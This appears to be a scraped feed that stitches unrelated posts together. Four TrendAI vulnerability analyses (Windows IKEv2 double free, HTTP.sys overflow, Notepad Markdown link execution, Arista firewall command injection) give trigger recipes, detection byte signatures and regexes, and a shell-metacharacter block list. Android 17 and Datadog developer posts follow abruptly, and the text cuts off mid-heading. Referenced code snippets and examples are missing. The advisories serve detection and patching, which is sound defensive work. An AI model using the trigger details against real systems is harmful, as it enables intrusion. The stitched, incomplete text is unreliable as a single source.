A double free vulnerability has been reported in the Windows Internet Key Exchange (IKEv2) service. The vulnerability is due to an error when processing fragments.

An unauthenticated, remote attacker could exploit this vulnerability by sending crafted packets to the target server. Successful exploitation could result in a crash of the IKEEXT service, or potentially arbitrary code execution.

The Vulnerability

Microsoft Windows is an operating system which includes both server and desktop components along with an easy-to-use GUI. All currently supported versions of Windows include Internet Key Exchange Protocol Extensions to support the Virtual Private Network (VPN) feature.

The VPN feature of Windows encrypts communication between hosts. ISAKMP is a negotiation protocol used by IPsec-enabled hosts to build a security association. It uses the Internet Key Exchange (IKE) Protocol in order to negotiate keys for encrypted communication. IKE has two versions: IKEv1 and IKEv2. IKE version 1 (IKEv1) and version 2 (IKEv2) messages have the following general format:

The type of payload is determined by the Next Payload header of the previous payload, or the Next Payload field in the header (in the case of the first payload).

IKEv2 supports message fragmentation as defined in RFC 7383. When IKEv2 messages exceed the path MTU, they may be split into multiple Encrypted Fragment payloads. Of interest to this report is the Encrypted Fragment (SKF) payload (type 0x35). The SKF payload format is defined as:

When an IKEv2 implementation receives fragments, it inserts each fragment into an ordered list and reassembles them once all fragments have been received. In the Windows implementation, the function IkeReinjectReassembledPacket() performs this reassembly.

A double-free vulnerability has been reported in the Windows IKE Extension library (ikeext.dll). The vulnerability is due to improper ownership handling of a heap-allocated blob pointer during IKEv2 fragment reassembly. During the IKE_SA_INIT exchange, a Security Realm Vendor ID payload causes IkeHandleSecurityRealmVendorId() to allocate a blob and store it in the MMSA (Main Mode Security Association) structure at offset 0x208. When a fragmented IKE_AUTH message is fully reassembled, IkeReinjectReassembledPacket copies MMSA fields at offsets 0x178 through 0x21F - including the blob pointer at 0x208 - into a local stack struct. This struct is then passed to IkeQueueRecvRequest, which shallow-copies it into a heap-allocated work item. While IkeQueueRecvRequest deep-copies the reassembly buffer at offset 0x10 in the struct, the Security Realm blob pointer at offset 0xC8 remains a shallow copy, aliasing the original at MMSA+0x208.

When the thread pool processes the queued work item, IkeDestroyPacketContext checks the blob pointer at offset 0xC8 and calls WfpMemFree to release it (first free). The MMSA structure still holds the original pointer to the same allocation at offset 0x208. When the MMSA is subsequently cleaned up through IkeCleanupMMNegotiation, the SA reference count is decremented via IkeDerefMMSA, eventually triggering IkeFreeMMSA, which frees the blob pointer at MMSA offset 0x208 - the same allocation already freed by IkeDestroyPacketContext (second free).

A remote, unauthenticated attacker could exploit this vulnerability by sending a crafted IKE_SA_INIT message followed by two or more Encrypted Fragment (SKF) payloads containing an invalid IKE_AUTH message to the target server. The fragment reassembly path will shallow-copy the blob pointers, and the subsequent MMSA cleanup will trigger the double free. Successful exploitation could result in arbitrary code execution under the security context of the IKEEXT service (SYSTEM).

Source Code Walkthrough

The following code snippets were taken from IKEEXT.DLL file version 10.0.20348.2849 and decompiled with IDA Pro version 8.3. Comments added by TrendAI have been highlighted.

Detection Guidance

To detect an attack exploiting this vulnerability, the detection device must monitor and parse traffic on UDP ports 500 and 4500. The IKE general format, Payloads field, and the Encrypted Fragment (SKF) payload format can be seen above.

The detection device should monitor all incoming IKE traffic. Detection requires correlating two packets within the same IKE session: an IKE_SA_INIT request carrying the Microsoft Security Realm Vendor ID, followed by a fragmented IKE_AUTH request. Neither packet alone is malicious; both must be observed in sequence from the same source.

IKE_SA_INIT

At byte offset 17 of the UDP payload, the device should check for the three-byte sequence 20 22 08, which corresponds to the IKEv2 version identifier (0x20), the IKE_SA_INIT exchange type (0x22), and the Initiator flag (0x08). The device should then scan the remainder of the packet for the 16-byte sequence 68 6a 8c bd fe 63 4b 40 51 46 fb 2b af 33 e9 e8, which is the Microsoft Security Realm Vendor ID. If both conditions are met, the device should follow the guidance below.

IKE_AUTH

For subsequent packets from the same source, the device should check bytes at offset 16 through 23 of the UDP payload. At offset 16, the four-byte sequence 35 20 23 08 identifies an Encrypted Fragment payload (SKF, type 0x35), IKEv2 version (0x20), IKE_AUTH exchange type (0x23), and Initiator flag (0x08). If found, the detection device should inspect offset 20 and search for the four-byte sequence00 00 00 01. If found the traffic should be considered malicious; an attack exploiting this vulnerability is likely underway.

Notes
• All multi-byte values should be treated as big endian.
• When detecting traffic on port 4500, IKE packets are prepended by a 4-byte non-ESP marker (\x00\x00\x00\x00), shifting all IKE header content offsets by 4.

Conclusion

This vulnerability was patched by Microsoft in the April 2026 release cycle. They do note two mitigations that could prevent exploitation while the patch is being tested and deployed. 

·      Block inbound traffic on UDP ports 500 and 4500 for systems that do not use IKE.

·      For systems that require IKE, configure firewall rules to allow inbound traffic on UDP ports 500 and 4500 only from known peer addresses.

These mitigations may be removed once the security patch is applied. The only way to fully remediate the vulnerability is to apply the update from the vendor.

Special thanks to Richard Chen and Lucas Miller of the TrendAI Research team for providing such a thorough analysis of this vulnerability. For an overview of TrendAI Research services please visit https://go.trendmicro.com/tis/vulnerabilities.html.

The threat research team will be back with other great vulnerability analysis reports in the future. Until then, follow the team on Twitter, Mastodon, LinkedIn, or Bluesky for the latest in exploit techniques and security patches.

A remote code execution vulnerability exists in the HTTP Protocol Stack for Microsoft Internet Information Services implemented in HTTP.sys. The vulnerability is due to invalid validating incoming HTTP requests.

A remote, unauthenticated attacker can exploit this vulnerability by sending crafted HTTP packets to the target system. Successful exploitation of this vulnerability can result in a denial-of-service condition, or, in the worst case, code execution with kernel privileges.

The Vulnerability

HTTP.sys is the kernel-mode HTTP protocol driver in Microsoft Windows. It provides HTTP request parsing, response caching, and SSL/TLS termination for Internet Information Services (IIS) and other applications that register URL prefixes. The driver listens on configured TCP ports (commonly 80 for HTTP and 443 for HTTPS) and processes inbound HTTP/1.x and HTTP/2 requests at the kernel level.

When operating over HTTPS, HTTP.sys delegates TLS processing to the Windows Secure Channel (SChannel) provider. Inbound TCP data is decrypted on a per-record basis: each TLS record constitutes an independent unit of encryption and is decrypted separately by SChannel before being delivered to HTTP.sys as a distinct plaintext buffer. A single TLS 1.3 application data record has the following structure:

The decrypted payload of each TLS record is delivered independently to the HTTP parser via

UlHttpBufferReceiveEvent(), regardless of how many TLS records the underlying TCP connection coalesces into a single TCP segment. This behavior is distinct from plaintext HTTP connections, where the Windows TCP stack coalesces multiple segments into a single receive indication before the data reaches HTTP.sys.

The HTTP parser maintains a per-request state object that includes a dynamically grown buffer reference array. The capacity field stores the current number of allocated slots in the buffer reference array. The count field stores the number of slots currently in use. The ref_array_ptr field points to the dynamically allocated array of 8-byte buffer reference entries.

An integer overflow vulnerability exists in HTTP.sys. The vulnerability is due to insufficient bounds checking when growing a buffer reference array during HTTP/1.x header parsing. When HTTP.sys receives data for an HTTP/1.x request, it allocates a UL_REQUEST_BUFFER structure for each receive indication and tracks these buffers in the per-request reference array described above. The count field records the number of active buffer references, and the capacity field records the total number of allocated slots.

As the HTTP parser (UlpParseNextRequest()) processes header lines, it calls an inline buffer reference routine each time a new receive buffer is consumed. When count reaches capacity, the routine grows the array by reallocating it with five additional slots. The new allocation size is computed as 0x28 + capacity * 8, the contents of the existing array are copied via memmove using count * 8 as the copy length, and capacity is incremented by 5 as a 16-bit unsigned integer addition. No overflow check is performed on this addition.

After 13,107 growth events, capacity reaches 0xFFFB. The next growth adds 5, producing 0x10000, which truncates to 0x0000 in the 16-bit field. On the subsequent buffer reference addition, count (which is now 65,536 or greater) exceeds the zero capacity, triggering another growth. The allocation size computation 0x28 + 0 * 8 produces a 40-byte allocation, but the memmove copies count * 8 bytes (approximately 524,256 bytes) from the old buffer into the 40-byte allocation. This results in a kernel pool heap buffer overflow of over 500 kilobytes.

Each buffer reference corresponds to one receive buffer delivered to the HTTP parser. For plaintext HTTP connections, the Windows TCP stack coalesces received segments into large indications, and UlpMergeBuffers() further combines buffers within HTTP.sys. Over TLS connections, each TLS record is decrypted independently by SChannel and delivered as a separate buffer through UlHttpBufferReceiveEvent() into UlpCopyIndicatedData(). If each TLS record contains exactly one complete header line (terminated by CRLF), the HTTP parser fully consumes the buffer without setting the partial-parse flag, causing UlpAdjustBuffers() to advance to the next buffer via its non-merge path. This creates a 1:1 correspondence between TLS records sent and buffer references accumulated.

To trigger the overflow, an attacker crafts an HTTP request in which each header line is encapsulated in a separate TLS application data record. Given a minimum header line size of approximately 4 bytes and a required count of 65,536 buffer references, the total request size comes to roughly 262,144 bytes. The MaxRequestBytes registry value (at HKLM\SYSTEM\CurrentControlSet\Services\HTTP\Parameters) must be configured to a value of at least 262,144 bytes for the server to accept a request of this size. The default value of 16,384 bytes limits the request to approximately 4000 header lines, which is insufficient to trigger the overflow. As a mitigation, keeping MaxRequestBytes at or below 65,535 bytes represents the most conservative configuration to prevent this attack.

A remote unauthenticated attacker could exploit this vulnerability by sending a specially crafted HTTP/1.x request over a TLS connection to an affected server. Successful exploitation results in unexpected system termination due to a memory access exception in the context of the kernel. Under specific memory layout conditions, exploitation could result in arbitrary code execution in the context of the kernel.

Notes:

• The vulnerability is only reachable through HTTP/1.x header parsing over TLS connections. HTTP/2 and HTTP/3 use different parser paths that do not interact with the buffer reference array.

• Body data parsing (Content-Length or chunked transfer encoding) does not add entries to the buffer reference array. Only header parsing triggers buffer reference growth.

• At a sending rate of 10 milliseconds per TLS record, the overflow requires approximately 11 minutes to trigger.

Source Code Walkthrough

The following code snippet was taken from HTTP.sys version 10.0.26100.7705. Comments added by TrendAI Research have been highlighted.

In UlpParseNextRequest():

Detection Guidance

To detect an attack exploiting this vulnerability, the detection device must monitor and parse traffic on the TCP port 443.

The traffic on the affected port(s) is TLS-encrypted. The detection device must be able to decrypt the TLS traffic before applying the following detection method. The detection device should monitor for HTTPS connections.

An HTTP/1.x request [1] consists of a request line followed by zero or more header field lines, each terminated by CRLF. The following grammar defines the relevant structure:

Decrypted traffic inspection:

After decrypting the TLS session, the detection device must parse the HTTP/1.x request headers. The detection device must count the number of distinct header field lines present in a single HTTP request. If the number of header field lines in a single request exceeds 1,000, the traffic should be considered suspicious; an attack exploiting this vulnerability is likely underway.

Encrypted traffic heuristics:

Where decryption is not available, the detection device should inspect the pattern of TLS application data records within the encrypted session. If each TLS application data record contains a single short payload and the total number of such records on a single connection exceeds 1,000, the traffic should be considered suspicious; an attack exploiting this vulnerability is likely underway.

Notes:

• The preferred detection method (header line count) requires the ability to decrypt TLS traffic, for example through TLS inspection, a decrypting proxy, or possession of the server's private key. This method directly observes the attack indicator and produces low false-positive and false-negative rates.

• The TLS record heuristic operates on encrypted traffic and does not require decryption. This method is more prone to false positives (legitimate applications that send many small TLS records, such as interactive streaming sessions, may trigger the heuristic) and to false negatives (the threshold is based on observable record sizes rather than the actual header count that determines exploitability). Where possible, decrypted traffic inspection should be preferred.

• The attack requires approximately 11 minutes of sustained connection to accumulate sufficient header lines. Connection duration monitoring may serve as a supplementary detection heuristic.

Conclusion

This vulnerability was patched by Microsoft in the June 2026 release cycle. They note several mitigations that include editing the registry to ensure unpatched systems are not vulnerable to exploitation. However, the best method to ensure this bug has been fully remediated is to test and deploy the vendor-supplied patch.

Special thanks to Yazhi Wang and Jonathan Lein of the TrendAI Research team for providing such a thorough analysis of this vulnerability. For an overview of TrendAI Research services, please visit https://go.trendmicro.com/tis/vulnerabilities.html.

The threat research team will be back with other great vulnerability analysis reports in the future. Until then, follow the team on Twitter, Mastodon, LinkedIn, or Bluesky for the latest in exploit techniques and security patches.

A remote code execution vulnerability has been reported in Microsoft Windows Notepad. The vulnerability is due to improper validation of links in Markdown files.

A remote attacker could exploit this vulnerability by enticing the victim to download and interact with a malicious file. Successful exploitation of this vulnerability could result in the execution of arbitrary commands in the security context of the victim's account.

The Vulnerability

Microsoft Windows comes with a default text-editing application called Windows Notepad. Historically, this application offered only minimal editing features. However, modern versions of Windows include an improved and extended Notepad by default. This new version supports multiple file formats, Markdown rendering, and Copilot-enhanced features.

Markdown is a lightweight markup language that allows users to create formatted text using a simple syntax. It is widely used for writing documents, blog posts, and README files. It supports a wide range of formatting options, including (but not limited to) headers, styled text, numbered and bulleted lists, and links. Markdown supports two main link formats: standard and inline. The standard link format is:

          [link-name](link/path)

When rendered, only the link text ("link-name") is shown to the user.

The inline links use the following format:

          <link/path>

When rendered, they are transformed into the equivalent standard link:

          [link/path](link/path)

A remote code execution vulnerability has been reported in Microsoft Windows Notepad. The vulnerability is due to improper validation of links when handling Markdown files.

When Notepad opens a file, if the application detects that the file requires special rendering (in this case, Markdown), the input file is tokenized. Tokenization in this context means splitting the raw file text into a sequence of small, recognizable pieces ("tokens") that the renderer can process one by one. Detection is performed based on the file extension. Only the ".md" extension was found to trigger Markdown rendering, as the application uses a fixed string comparison to determine whether Markdown should be rendered by calling sub_1400ED5D0(). Markdown files are rendered token by token.

Function sub_140170F60() handles clicking on links in Markdown files. It filters the link value, and passes it to ShellExecuteExW() call.

The filtering performed on the link is found to be insufficient, as it allows using malicious crafted protocol URIs, such as "file://" and "ms-appinstaller://", to execute arbitrary files in the security context of victim. ShellExecuteExW() uses the configured protocol handlers and may expose additional exploitable protocols depending on the system configuration.

A remote attacker could exploit this vulnerability by enticing the victim to download a malicious crafted Markdown file, open it, and click on a malicious link. Successful exploitation of this vulnerability could result in the execution of arbitrary commands in the security context of the victim's account.

Notes
• Files using the ".md" file extension are not registered to be opened by Notepad by default. However, when opened manually in Notepad, they are rendered as Markdown, which allows the vulnerability to be triggered.
• Any "\\" sequences are converted to "\" in the attacker-controlled link path prior to passing it to the ShellExecuteExW() call.

Source Code Walkthrough

The following code snippet was taken from Notepad.exe version 11.2508. Comments added by TrendAI researchers have been highlighted.

In sub_140170F60():

Detection Guidance

To detect an attack exploiting this vulnerability, the detection device must monitor and parse traffic on the following application protocols that can be used to deliver an attack to exploit this vulnerability:
• FTP, over ports 21/TCP, 20/TCP
• HTTP, over port 80/TCP
• HTTPS, over port 443/TCP
• IMAP, over port 143/TCP
• NFS, over ports 2049/TCP, 2049/UDP, 111/TCP, 111/UDP
• POP3, over port 110/TCP
• SMTP, over ports 25/TCP, 587/TCP
• SMB/CIFS, over ports 139/TCP, 445/TCP

The detection device must inspect traffic transferring a Markdown file with the file extension ".md". If such a file transfer is found, the detection device must search the file content for links.

The detection device must check whether the link paths contain the strings "file:" or "ms-appinstaller:".

If "file:" was found, the detection device must search the Markdown file contents using the following case-insensitive regular expression:

(\x3C|\[[^\x5d]+\]\()file:(\x2f|\x5c\x5c){4}

If "ms-appinstaller:" was found, the detection device must search the Markdown file contents using the following case-insensitive regular expression:

(\x3C|\[[^\x5d]+\]\()ms-appinstaller:(\x2f|\x5c\x5c){2}

If any of the regular expressions matches, the link contains a path to a remote resource. The traffic must be considered malicious; an attack exploiting this vulnerability is likely underway. This guidance should also detect the public PoC that was recently posted on GitHub.

Notes

•  The string matches are case-insensitive.
•  The detection guidance is based on the vendor-provided patch. However, the patch restricts the links to local-only files and HTTP(S) URIs, which may result in a huge number of false positives. Because of that, the detection guidance focuses on formats that may access and execute remote files. Due to that, it may result in false negatives.
•  The vulnerable function uses the configured protocol handlers and may expose additional exploitable protocols depending on the system configuration.

Conclusion

This vulnerability was patched by Microsoft in the February 2026 release cycle. They note no workarounds but do list user interaction as a prerequisite to exploitation. To fully remediate the vulnerability, the proper action is to test and deploy the provided vendor patch.

Special thanks to Nikolai Skliarenko and Yazhi Wang of the TrendAI Research team for providing such a thorough analysis of this vulnerability. For an overview of TrendAI Research services please visit https://go.trendmicro.com/tis/vulnerabilities.html.

The threat research team will be back with other great vulnerability analysis reports in the future. Until then, follow the team on Twitter, Mastodon, LinkedIn, or Bluesky for the latest in exploit techniques and security patches.

A command injection vulnerability has been reported in Arista NG Firewall. The vulnerability is due to improper validation of user data in the diagnostics component.

A remote, authenticated attacker could exploit this vulnerability by sending crafted requests to the target server. Successful exploitation could result in arbitrary command execution under the security context of the root user.

The Vulnerability

Arista NG Firewall is an open-source firewall appliance. It was originally developed under the name Untangle. Some features of Arista Firewall include spam blocking, bandwidth control, and IPS, etc. NG Firewall can be managed through a web user interface, or a JSON-RPC API using HTTP.

HTTP is a request/response protocol described in RFCs 7230 - 7237 and other RFCs. A request is sent by a client to a server, which in turn sends a response back to the client. An HTTP request consists of a request line, various headers, an empty line, and an optional message body

where CRLF represents the new line sequence Carriage Return (CR) followed by Line Feed (LF). SP represents a space character. Parameters can be passed from the client to the server as name-value pairs in either the Request-URI, or in the message-body, depending on the Method used and Content-Type header. For example, a simple HTTP request passing a parameter named “param” with value “1”, using the GET method might look like:

A corresponding HTTP request using the POST method might look like:

If there is more than one parameter/value pair, they are encoded as '&'-delimited name=value pairs:

          var1=value1&var2=value2&var3=value3...

The component relevant to this report is the JSON-RPC endpoint. A JSON object has the following syntax:

•            An object is enclosed in curly braces {}.
•            An object consists of zero or more items delimited by a comma (",") character.
•            An item consists of a key and a value. A key is delimited from its value by a colon (":") character.
•            A key must be a string (enclosed in quotes).
•            A value must be a valid type. Valid types include string, number, JSON object, array, Boolean, or null.
•            An array is an object enclosed in square braces []. An array consists of zero or more string, number, JSON object, array, Boolean or null type-objects delimited by a comma (",") character.

An example JSON object is as follows:

The following is an example of a JSON-RPC request to the runTroubleshooting() method that is relevant to this report:

A command injection vulnerability has been reported in Arista NG Firewall. The vulnerability is due to improper validation of user data that is used in a command line. The runTroubleshooting() method of the class NetworkManagerImpl will be used to handle JSON-RPC requests to the runTroubleshooting method. The command parameter passed to the method will be the first element in the params JSON array in the body of the request. This value must be one of the strings in the TroubleshootingCommands enum defined in the NetworkManager class. The second parameter of the method will contain additional arguments passed to the JSON-RPC call.

The method will first iterate through each of the additional arguments and combine each key value pair into a single string, separated by a "=" character that will later be used as an environment variable. Next, a switch case statement is used to ensure the provided command is one of the values in TroubleshootingCommands. Each command value will be processed using the same code.

The method will next iterate through each environment variable, and inspect it for the following common command injection strings:

          ; & | > $(

If any are found, the request will be rejected, and an exception is thrown. If each environment variable is valid, the method execEvil() is called to create and execute a command line for the network-troubleshooting.sh script, with the environment variables passed as a parameter. The execEvil() method in turn will call Runtime.getRuntime().exec() to run the script, with the second parameter passing the environment variables that will be used by the script. Each command value will have a function in network-troubleshooting.sh, such as run_dns() for the “DNS” command value. Each function will follow a similar structure, by creating a CMD string using the environment variables passed by exec() and then calling eval to execute it.

However, the values of the parameters passed to the runTroubleshooting JSON-RPC method are not completely sanitized before it is used in the command line. While the parameters passed to the endpoint are inspected for some shell metacharacters, the list is incomplete. For example, the backtick character (`) is not included in the check and may be used to inject a command.

For example:

The example above will write and execute a python script on the server to achieve code execution without using any restricted characters.

A remote, authenticated attacker could exploit this vulnerability by sending a JSON-RPC request to the runTroubleshooting method containing a crafted “HOST” or “URL” parameter containing shell metacharacters not present in the runTroubleshooting() check. Successful exploitation in the worst case will result in arbitrary command execution under the security context of the root user.

Detection Guidance

To detect an attack exploiting this vulnerability, the detection device must monitor and parse traffic on the following ports:
          - HTTP, over port 80/TCP
          - HTTPS, over port 443/TCP

Traffic to Arista NG Firewall may be encrypted and must be decrypted prior to applying this guidance.

The detection device must search for HTTP POST requests made to the request-URI /admin/JSON-RPC. If found, the body of the request must be parsed as JSON. The JSON object in the body must be inspected for a method key, and its value must be inspected to contain the substring runTroubleshooting. If found, the object must also be inspected for the JSON key "params", with a value containing a JSON array. The first entry in the JSON array must be inspected for any of the following strings:

If found, the second entry in the array must be inspected for a JSON object, and inspected for any of the following keys:

If either is found, the corresponding value to the key must be inspected for any of the following command injection characters:

If found, the traffic should be treated as suspicious; an attack exploiting this vulnerability is likely underway.

The following regular expression can be applied to find malicious requests:

          /\x22(HOST|URL)\x22\s*:\s*\x22(?:[^\x22\\]|\\.)*?[\x60\x27\x24\x3c]/

Notes:

• String matching on the request-URI and all JSON strings should be done in a case sensitive manner.
• The JSON strings may be encoded and must be decoded prior to applying this guidance.
• The request-URI may be URL-encoded and must be decoded before applying this guidance.

Conclusion

This vulnerability has been addressed by Arista with their Security Advisory 0123. They note that the Arista Edge Threat Management - Arista Next Generation Firewall (Formerly Untangle) is affected by this bug, but other product versions are not. They also state the following mitigation can be applied:

Do not allow non-authorized administrative access or access to the administrative browser.

However, the more appropriate action is to apply the provided vendor security patch by upgrading to version 17.4 or higher.

Special thanks to Jonathan Lein and Simon Humbert of the TrendAI Research team for providing such a thorough analysis of this vulnerability. For an overview of TrendAI Research services, please visit https://go.trendmicro.com/tis/vulnerabilities.html.

The threat research team will be back with other great vulnerability analysis reports in the future. Until then, follow the team on Twitter, Mastodon, LinkedIn, or Bluesky for the latest in exploit techniques and security patches.

Maximize app performance and ROI with the R8 Configuration Analyzer

A premium experience is only as good as its foundation, and a performant foundation is what allows your app to scale across the Android ecosystem. This is especially true with the release of Android 17, which introduces conservative, device RAM-based app memory limits to target extreme memory leaks and outliers before they cause system-wide instability. To stay below these new system thresholds and prevent your app from being terminated, having a lean footprint is no longer optional: it’s a critical requirement.

This year, we’re making it easier to build highly optimized, fast apps by introducing the R8 Configuration Analyzer in Android Studio. R8 is your most powerful tool for improving app performance, but its effectiveness is often limited by overly broad "keep rules" that prevent the compiler from stripping away unused code. The new Configuration Analyzer provides optimization, obfuscation, and shrinking scores, allowing you to identify specific rules that are preventing the benefits of R8 optimization.

By optimizing their R8 configurations, developers at Monzo achieved a 30% improvement in cold starts and a 35% reduction in ANRs. Smaller, faster code isn't just about efficiency; it's about ensuring your app has the memory headroom to deliver delight on every form factor, from the phone to the car.

Extend your reach with a unified approach to Widgets on Phones, Watches and Cars

User interaction is shifting toward quick, glanceable moments—short bursts of information that keep users connected without needing to open the full app. To help you increase the reach of your app content, we are unifying the development experience across the Android ecosystem with Jetpack Glance. By using a consistent, Compose-based model, you can elevate the content most important to your users straight to the phone’s home screen, Wear Widgets (previously Tiles!), and cars with a familiar workflow.

In order to help users engage with your content and features, even outside your app, we are making widgets more expressive and adaptive with RemoteCompose. On Wear OS, RemoteCompose allows you to use the Compose tools you’re already comfortable with to define UI logic that renders natively on remote surfaces, ensuring that your glanceable experiences remain highly performant and responsive even on resource-constrained hardware. On mobile and cars, RemoteCompose is used as a new framework giving Widgets new expressive capabilities.

You can use Jetpack Glance (together with RemoteCompose on Wear) to deliver a cohesive user journey. Whether it’s viewing flight status on the car dashboard, checking a gate change on a watch, or managing a boarding pass from a phone widget, this shared approach maximizes your app’s presence while keeping your development effort focused and efficient.

For more details, check out the premium Android experience YouTube playlist.

Posted by Alice Yuan, Developer Relations Engineer at Google, Arti Arutiunov, Product Manager at Datadog and Nikita Ogorodnikov, Staff Software Engineer at Datadog

Performance regressions are notoriously hard to reproduce, making regressions a massive bottleneck for mobile developers. Although signals like ANR rates indicate what issues occur in production, pinpointing the specific line of code that resulted in the performance issue has historically necessitated exhaustive manual reproduction or speculative trial-and-error experimentation.

Datadog collaborated with Google to mitigate this frustration by integrating the ProfilingManager API (available on Android 15+ devices) into its Real User Monitoring (RUM) and Continuous Profiling platforms. This integration transforms the debugging workflow, allowing developers to move beyond surface-level symptoms to being able to detect the why behind a performance bottleneck.

The impact of ProfilingManager

ProfilingManager is a system service introduced in Android 15 that enables apps to programmatically collect performance data such as call stack samples, field traces and memory heap dumps directly from production environments. This capability shifts the engineering paradigm from reactive manual reproduction to proactive field analysis.

Solving the Android code-level visibility challenge

Prior to the implementation of ProfilingManager, Datadog’s Real User Monitoring (RUM) focused on high-level application health and session-level telemetry to assess the user journey. Engineering teams could monitor Android performance signals like time to initial display, ANR rates, CPU load, and frozen frames. These insights extended to granular interactions, such as network latency, touch events, and main thread hangs. However, while this data effectively highlighted which performance bottlenecks were surfacing in the field, it provided no clear path to identifying the root cause of these failures.

To address this, Datadog needed a profiling engine capable of capturing Android traces directly from devices in production with minimal performance impact. After evaluating alternative approaches, such as writing their own trace processor using Android Debug APIs, the team selected ProfilingManager because it is the most performant solution of the profiling options they evaluated and offloads the sampling decisions overhead to the OS.

ProfilingManager supports a wide range of collection methods, including CPU traces, call stack sampling, memory analysis through Java heap dumps and native heap profiles. It enables developers to profile production builds, upload trace files to external storage, and review them in the Perfetto trace analyzer UI. As a SaaS provider, Datadog uploads, visualizes, and analyzes these profiles collected via its SDK, providing a unified view of application health.

• Granular session diagnostics: ProfilingManager enhances debuggability by delivering direct OS-level trace data, overcoming the visibility and alignment challenges typical of custom logging with system services. To dive deeper, developers can download these traces from Datadog to investigate further in visualization tools like the Perfetto UI.
• Automated telemetry triggers: By leveraging native system events to initiate trace recordings at key optimization points, Datadog reduces the need to build custom collection logic. While the initial rollout focuses on the APP_FULLY_DRAWN signal, there are already plans to expand this observability to include ANR, OOM, and COLD_START triggers.
• Proactive trace snapshots: By interfacing directly with the system-level Perfetto service (traced), ProfilingManager utilizes a proactive background recording model designed to capture unpredictable issues. This ensures that developers receive a precise visualization of the events leading up to a performance anomaly, offering a level of insight that exceeds what is possible through manual instrumentation.
• Bottleneck detection at scale: Datadog is able to synthesize telemetry from across Datadog’s global customer base to uncover regressions that only emerge under unique hardware configurations and variable network environments.
• System-enforced resource stability: The API leverages sampling trace collection to ensure performance and user experience impacts remain unnoticeable.
• On-device data controls: ProfilingManager filters out irrelevant information from other processes on-device before the profile is delivered to the app. This minimizes file sizes and ensures that only data relevant to the app's processes is provided.

Processing millions of weekly profiles to optimize real-world apps

Conclusion

By integrating Android’s ProfilingManager API, Datadog successfully closed the visibility gap between backend systems and mobile client applications for their customers. By processing millions of profiles weekly with negligible device overhead, Datadog equips Android developers with the code-level insights necessary to diagnose complex performance bugs instantly, helping developers build smoother applications and improve their app’s performance signals in the Play Store. To adopt the ProfilingManager API directly into your performance observability framework, check out our documentation.

In the future, Datadog aims to make Android profiling data a first-class input for coding agents to autonomously resolve performance bottlenecks, closing the feedback loop between detection and remediation. Datadog is working toward making Android profiling broadly accessible to developers.

To get started using the Datadog real user monitoring feature powered by ProfilingManager, visit Datadog Mobile Real User Monitoring.

Today we're releasing Android 17 and making it available on most supported Pixel devices. Look for new devices running Android 17 in the coming months.

Android 17 marks the start of our transition to an intelligence system, putting your apps at the center. It's shifting to an adaptive-first development standard by introducing mandatory large-screen resizability, all while delivering next-generation privacy, security, media, camera, and performance. We'll cover all that in this post, as well as how we're bringing together next generation tools, libraries, and agent skills to help your apps embrace the opportunity.

Throughout the past year, from our Canary channel to our Beta releases, we’ve collaborated with you in the developer community to build a platform you and your users can trust. To that end, this moment marks the availability of the source code at the Android Open Source Project (AOSP). This allows you to examine the source code for a deeper understanding of how Android works.

Let's dive deeper into Android 17.

An intelligence system

With deep integration between hardware, software and AI, we’re transforming Android from an operating system to an intelligence system. It's about delivering new helpful experiences that anticipate user needs, and it brings more opportunities for engagement with your apps. To that end, Android 17 expands the capabilities of AppFunctions, a platform API with a corresponding Jetpack library. It allows you to contribute your app's unique capabilities as orchestratable "tools" for Android MCP, the on-device equivalent of the Model Context Protocol. AI agents and assistants (like Google Gemini) can discover and execute AppFunctions to perform workflows on behalf of the user with direct access to the app's local state.

The Jetpack library, currently in alpha, makes adding AppFunctions as easy as annotating a class and adding KDoc comments.

/**
 * A note app's [AppFunction]s.
 */
class NoteFunctions(
    private val noteRepository: NoteRepository
) {
    /**
     * Adds a new note to the app.
     *
     * @param appFunctionContext The execution context.
     * @param title The title of the note.
     * @param content The note's content.
     */
    @AppFunction(isDescribedByKDoc = true)
    suspend fun createNote(
        appFunctionContext: AppFunctionContext,
        title: String,
        content: String
    ): Note {
        return noteRepository.createNote(title, content)
    }
}

We’ve also launched an AppFunctions agent skill that analyzes your app’s key workflows, automatically generates the required Kotlin code, optimizes your KDocs for LLM tool-calling, and provides ADB commands for testing and debugging.

The Gemini integration is currently in a private preview with trusted testers, but you can begin preparing your apps now. In addition to ADB commands to execute your AppFunctions, we've provided a test agent app that includes an interface to discover and execute your app functions and simulate an AI agent integration. Join our integration early access program at goo.gle/eap-af for a chance to be among the first apps to deploy AppFunctions to production.

Adaptive-first

Your users no longer rely on a single form factor; they transition between phones, foldables, tablets, laptops, automotive displays, and immersive XR environments. Now, with over 580 million large screen devices in the hands of users and the forthcoming launch of Googlebooks, the next generation of ChromeOS built on the Android stack, adaptive is no longer just a technical goal. It’s a massive opportunity to reach highly engaged users, which is one of the reasons we're shifting to an adaptive-first development standard.

No resizability/orientation restrictions on large screens

To ensure apps deliver a premium experience across all form factors, including mobile devices running in desktop mode on connected displays, Android 17 (API level 37) removes the developer opt-out for orientation and resizability restrictions on large screen devices (sw > 600 dp) for apps targeting API level 37. The system will ignore legacy manifest attributes and runtime APIs, including screenOrientation, setRequestedOrientation(), resizeableActivity=false, and aspect ratio constraints (minAspectRatio/maxAspectRatio). Games (based on app category in Google Play) remain exempt. Your app must be ready to adapt to any window size, respect the user's preferred device posture, and support free-form windowing natively.

Next-gen multitasking: App Bubbles, Bubble Bar, and desktop interactive PiP

Android 17 introduces powerful new windowing capabilities that redefine how users multitask, demanding even greater layout flexibility from your apps:

• App Bubbles: Moving beyond the messaging bubbles API, users can now transform any app into a floating bubble by long-pressing its icon on the launcher. This feature is available across phones, foldables, and tablets, enabling lightweight multitasking for any workflow.
• The Bubble Bar: On large screens (tablets and foldables), the system taskbar now includes a dedicated Bubble Bar to organize, transition between, and dock these floating app bubbles.
• Desktop interactive PiP: In desktop environments, Android 17 introduces interactive Picture-in-Picture (PiP). Unlike traditional PiP windows which are read-only, these pinned windows remain fully interactive while staying always-on-top of other application windows.

App Bubbles and Bubble Bar in action

Activity recreation updates

To prevent disruptive state loss and stutter, Android 17 updates the default behavior for Activity recreation. The system will no longer restart activities by default for typical configuration changes that do not require a full UI redraw (including CONFIG_KEYBOARD, CONFIG_KEYBOARD_HIDDEN, CONFIG_NAVIGATION, CONFIG_TOUCHSCREEN, and CONFIG_COLOR_MODE).
Instead, running activities will receive these updates via onConfigurationChanged(), enabling smooth transitions. If your application explicitly relies on a full restart to reload resources for these changes, you must now explicitly opt-in using the new android:recreateOnConfigChanges manifest attribute.

Continue On

